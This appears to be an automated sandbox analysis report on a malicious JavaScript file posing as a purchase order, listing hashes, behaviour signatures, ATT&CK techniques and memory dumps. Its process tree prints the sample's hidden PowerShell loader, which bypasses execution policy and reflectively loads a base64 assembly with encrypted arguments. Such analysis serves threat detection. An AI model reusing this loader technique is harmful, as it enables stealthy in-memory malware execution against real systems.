692ddfd67cc353ad50d5539dc390f4b34a93ebb9261c23578653e6c0d57f58d6

Analysis

max time kernel
298s
max time network
126s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
25/09/2026, 10:30

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
NO_068798_HY205879_PO_0905860_MQ20285.js
Size 4.8MB
Sample260925-mj3peatfqe
SHA256 692ddfd67cc353ad50d5539dc390f4b34a93ebb9261c23578653e6c0d57f58d6
MD5 9c3624b74667ef621c5f45bb7b323686
SHA1 b5eb233aa2bd3261c61810541b2b26cabcc57e60
SHA512 25f0b07f012868f218bc2d61f89a9b6a2cd1e72c1edfc2e4cd4a1f21065a9a2169ce9cd4116e6b242d09a62292fa5ba7b4b1d7eb9d41de77b6e9c06bd9fd9bb6
SSDEEP 768:TmvWKhu8I5gA0FQwX6lp7oNDxJJ/NWjRkWuHaRmhstW1DdWMcj8bNlnUKpHebwpu:5lqJQZ
TLSH
T199364DF5AFE0DD2309339A4AD049D09548707FBBB5DF813446EFBDD0AE0E49A7A90909
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5956	1696	powershell.exe	89

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	5956	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5956	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5956	powershell.exe
5956	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5956	powershell.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\NO_068798_HY205879_PO_0905860_MQ20285.js
1⤵
PID:2084

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$artemins=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6;$tittering=[IO.MemoryStream][Convert]::FromBase64String($artemins);[AppDomain]::CurrentDomain.Load($tittering.ToArray())|Out-Null;[Win32.RMP.Cls_teUzbfDfDr]::Met_VTMAmjGJtIao('RGb3B/WEEvttuvJUKkZ8SwEQ6Svcjbz2BBQKFlEavFeiwhDQEBnTEay5EgYrXd5XivD1qnJUN+QyGgKSxO4zBg==','4G5b6JXUlrP1fY0t/DsxMcBWE9Kk7j027Ze/2VxAPls=','rS6aQBYrf09tVTe5z3lq/FdFryF24KmtTPg3Emi48pTm804ZCc8xNesrWcmipWWS','eNFIWmGAhyJ3DVmqoHPYIE4mPqTiDCMRpn+tAGO77LY=','j8aNYtpcj5JCFRhq9WSJmo13fuUyF/EDukrlqTcUV/0=','','h9ZNutwy9QSUmLBxw1WaYyZagVl0Kk627NX6cu5SIEQ=','v93IB0q7lM1tIxHXEB6CWSgms8ueb61l1/Gmb5pO4AY=','6SX9XgFoNL/dqeZSIe1ELu45pZyEzDNeKZ8vnT7A1M0ZjSRu6yr7LUNtBYijva+g/RznxtCqa/Cx85eNvJzcQRjjeVw3wS8Q029qYwagAiE=','mopOIPRqZCm4vKC5bi/5Gk3KPuwqka0NEMEI+v0zfXdgjCOwZDBsf7xYOMrQehSy','Dh2tIjAZw6GXcCpR/D9gJ7vtiuJ4Or8S8CaB3qUgKIQ=','4kXrIZen10SvcjFO+ll4L6wGnKVidFhNcF1vPYsbru0=','U20SJAHZcMyjZU4b+rbjWK1T+Mpgx7FgIXfFOkvWB+U=','F1DmWApWLhWS+3qkRT6ESWkK6QVQ9kThiwQ7bDjdXEo=','2wrVTekMbwRyfibFi9wvVmoHMddTg3yN0dj3myn3W74=','SuxNPQIvbZK5fxBvkmlFnReDg10l2UWu+OXI8ky9/YE=','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5956

C:\Windows\system32\wscript.exe
wscript.exe
1⤵
PID:4396

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/5956-0-0x00007FFF15F2F000-0x00007FFF15F30000-memory.dmp

Download

memory/5956-1-0x00007FFF15DA0000-0x00007FFF16744000-memory.dmp

Download

memory/5956-6-0x00007FFF15DA0000-0x00007FFF16744000-memory.dmp

Download

memory/5956-5-0x000002D16AEF0000-0x000002D16AF12000-memory.dmp

Download

memory/5956-2-0x00007FFF15DA0000-0x00007FFF16744000-memory.dmp

Download

memory/5956-7-0x00007FFF15DA0000-0x00007FFF16744000-memory.dmp

Download

memory/5956-8-0x00007FFF15DA0000-0x00007FFF16744000-memory.dmp

Download

memory/5956-9-0x000002D16AF60000-0x000002D16AF82000-memory.dmp

Download

memory/5956-11-0x00007FFF15DA0000-0x00007FFF16744000-memory.dmp

Download

memory/5956-10-0x00007FFF15DA0000-0x00007FFF16744000-memory.dmp

Download

memory/5956-12-0x00007FFF15DA0000-0x00007FFF16744000-memory.dmp

Download

memory/5956-13-0x00007FFF15DA0000-0x00007FFF16744000-memory.dmp

Download

memory/5956-15-0x00007FFF15DA0000-0x00007FFF16744000-memory.dmp

Download